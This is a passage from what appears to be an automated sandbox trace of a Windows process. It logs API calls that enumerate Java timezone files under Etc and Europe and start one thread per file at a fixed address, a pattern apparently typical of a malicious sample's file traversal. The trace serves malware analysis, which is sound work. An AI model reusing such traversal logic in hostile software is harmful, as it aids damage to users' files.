ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-6", cAlternateFileName="")) returned 1 [0159.008] wcscmp (_String1="GMT-6", _String2=".") returned 1 [0159.008] wcscmp (_String1="GMT-6", _String2="..") returned 1 [0159.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b863f10 [0159.008] wcscpy (in: _Dest=0x1b863f10, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.008] wcscat (in: _Dest=0x1b863f10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.008] wcscat (in: _Dest=0x1b863f10, _Source="GMT-6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-6" [0159.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e04 [0159.009] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-7", cAlternateFileName="")) returned 1 [0159.009] wcscmp (_String1="GMT-7", _String2=".") returned 1 [0159.009] wcscmp (_String1="GMT-7", _String2="..") returned 1 [0159.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b863d50 [0159.009] wcscpy (in: _Dest=0x1b863d50, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.009] wcscat (in: _Dest=0x1b863d50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.009] wcscat (in: _Dest=0x1b863d50, _Source="GMT-7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-7" [0159.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a8 [0159.010] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-8", cAlternateFileName="")) returned 1 [0159.010] wcscmp (_String1="GMT-8", _String2=".") returned 1 [0159.010] wcscmp (_String1="GMT-8", _String2="..") returned 1 [0159.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b864840 [0159.011] wcscpy (in: _Dest=0x1b864840, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.011] wcscat (in: _Dest=0x1b864840, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.011] wcscat (in: _Dest=0x1b864840, _Source="GMT-8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-8" [0159.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0c [0159.011] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-9", cAlternateFileName="")) returned 1 [0159.011] wcscmp (_String1="GMT-9", _String2=".") returned 1 [0159.011] wcscmp (_String1="GMT-9", _String2="..") returned 1 [0159.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b8640d0 [0159.012] wcscpy (in: _Dest=0x1b8640d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.012] wcscat (in: _Dest=0x1b8640d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.012] wcscat (in: _Dest=0x1b8640d0, _Source="GMT-9" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-9") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-9" [0159.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8640d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c9c [0159.013] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCT", cAlternateFileName="")) returned 1 [0159.013] wcscmp (_String1="UCT", _String2=".") returned 1 [0159.013] wcscmp (_String1="UCT", _String2="..") returned 1 [0159.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b864450 [0159.013] wcscpy (in: _Dest=0x1b864450, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.013] wcscat (in: _Dest=0x1b864450, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.013] wcscat (in: _Dest=0x1b864450, _Source="UCT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UCT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UCT" [0159.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x229c [0159.015] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 1 [0159.015] wcscmp (_String1="UTC", _String2=".") returned 1 [0159.015] wcscmp (_String1="UTC", _String2="..") returned 1 [0159.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863ff0 [0159.015] wcscpy (in: _Dest=0x1b863ff0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0159.015] wcscat (in: _Dest=0x1b863ff0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0159.015] wcscat (in: _Dest=0x1b863ff0, _Source="UTC" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UTC") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UTC" [0159.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b863ff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2298 [0159.017] FindNextFileW (in: hFindFile=0x1cd9d730, lpFindFileData=0x1cd60f50 | out: lpFindFileData=0x1cd60f50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 0 [0159.017] FindClose (in: hFindFile=0x1cd9d730 | out: hFindFile=0x1cd9d730) returned 1 [0159.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd60f50) returned 1 [0159.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced92b0) returned 1 [0159.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86f10) returned 1 Thread: id = 2460 os_tid = 0x1ee4 [0153.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8bb0 [0153.991] wcscpy (in: _Dest=0x1ced8bb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0153.991] wcscat (in: _Dest=0x1ced8bb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0153.991] wcscat (in: _Dest=0x1ced8bb0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*" [0153.991] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd600b0 [0153.991] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd90 [0153.993] wcscmp (_String1=".", _String2=".") returned 0 [0153.993] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.994] wcscmp (_String1="..", _String2=".") returned 1 [0153.994] wcscmp (_String1="..", _String2="..") returned 0 [0153.994] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amsterdam", cAlternateFileName="AMSTER~1")) returned 1 [0153.994] wcscmp (_String1="Amsterdam", _String2=".") returned 1 [0153.994] wcscmp (_String1="Amsterdam", _String2="..") returned 1 [0153.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b867ac0 [0153.995] wcscpy (in: _Dest=0x1b867ac0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0153.995] wcscat (in: _Dest=0x1b867ac0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0153.995] wcscat (in: _Dest=0x1b867ac0, _Source="Amsterdam" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Amsterdam") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Amsterdam" [0158.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1410 [0158.301] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Andorra", cAlternateFileName="")) returned 1 [0158.301] wcscmp (_String1="Andorra", _String2=".") returned 1 [0158.301] wcscmp (_String1="Andorra", _String2="..") returned 1 [0158.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b869440 [0158.301] wcscpy (in: _Dest=0x1b869440, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.301] wcscat (in: _Dest=0x1b869440, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.302] wcscat (in: _Dest=0x1b869440, _Source="Andorra" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Andorra") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Andorra" [0158.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b869440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf94 [0158.303] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Athens", cAlternateFileName="")) returned 1 [0158.303] wcscmp (_String1="Athens", _String2=".") returned 1 [0158.303] wcscmp (_String1="Athens", _String2="..") returned 1 [0158.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b864f60 [0158.303] wcscpy (in: _Dest=0x1b864f60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.303] wcscat (in: _Dest=0x1b864f60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.303] wcscat (in: _Dest=0x1b864f60, _Source="Athens" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Athens") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Athens" [0158.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864f60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0158.304] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belgrade", cAlternateFileName="")) returned 1 [0158.304] wcscmp (_String1="Belgrade", _String2=".") returned 1 [0158.304] wcscmp (_String1="Belgrade", _String2="..") returned 1 [0158.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b864fe0 [0158.304] wcscpy (in: _Dest=0x1b864fe0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.304] wcscat (in: _Dest=0x1b864fe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.304] wcscat (in: _Dest=0x1b864fe0, _Source="Belgrade" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade" [0158.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b864fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0158.305] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berlin", cAlternateFileName="")) returned 1 [0158.305] wcscmp (_String1="Berlin", _String2=".") returned 1 [0158.305] wcscmp (_String1="Berlin", _String2="..") returned 1 [0158.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b865060 [0158.305] wcscpy (in: _Dest=0x1b865060, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.305] wcscat (in: _Dest=0x1b865060, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.306] wcscat (in: _Dest=0x1b865060, _Source="Berlin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Berlin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Berlin" [0158.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0158.306] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brussels", cAlternateFileName="")) returned 1 [0158.306] wcscmp (_String1="Brussels", _String2=".") returned 1 [0158.307] wcscmp (_String1="Brussels", _String2="..") returned 1 [0158.307] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8650e0 [0158.307] wcscpy (in: _Dest=0x1b8650e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.307] wcscat (in: _Dest=0x1b8650e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.307] wcscat (in: _Dest=0x1b8650e0, _Source="Brussels" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels" [0158.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8650e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50 [0158.308] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bucharest", cAlternateFileName="BUCHAR~1")) returned 1 [0158.308] wcscmp (_String1="Bucharest", _String2=".") returned 1 [0158.308] wcscmp (_String1="Bucharest", _String2="..") returned 1 [0158.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b865160 [0158.308] wcscpy (in: _Dest=0x1b865160, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.308] wcscat (in: _Dest=0x1b865160, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.308] wcscat (in: _Dest=0x1b865160, _Source="Bucharest" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Bucharest") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Bucharest" [0158.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf80 [0158.309] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="Budapest", cAlternateFileName="")) returned 1 [0158.309] wcscmp (_String1="Budapest", _String2=".") returned 1 [0158.309] wcscmp (_String1="Budapest", _String2="..") returned 1 [0158.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8651e0 [0158.309] wcscpy (in: _Dest=0x1b8651e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.309] wcscat (in: _Dest=0x1b8651e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.309] wcscat (in: _Dest=0x1b8651e0, _Source="Budapest" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Budapest") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Budapest" [0158.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8651e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf7c [0158.311] FindNextFileW (in: hFindFile=0x1cd9dd90, 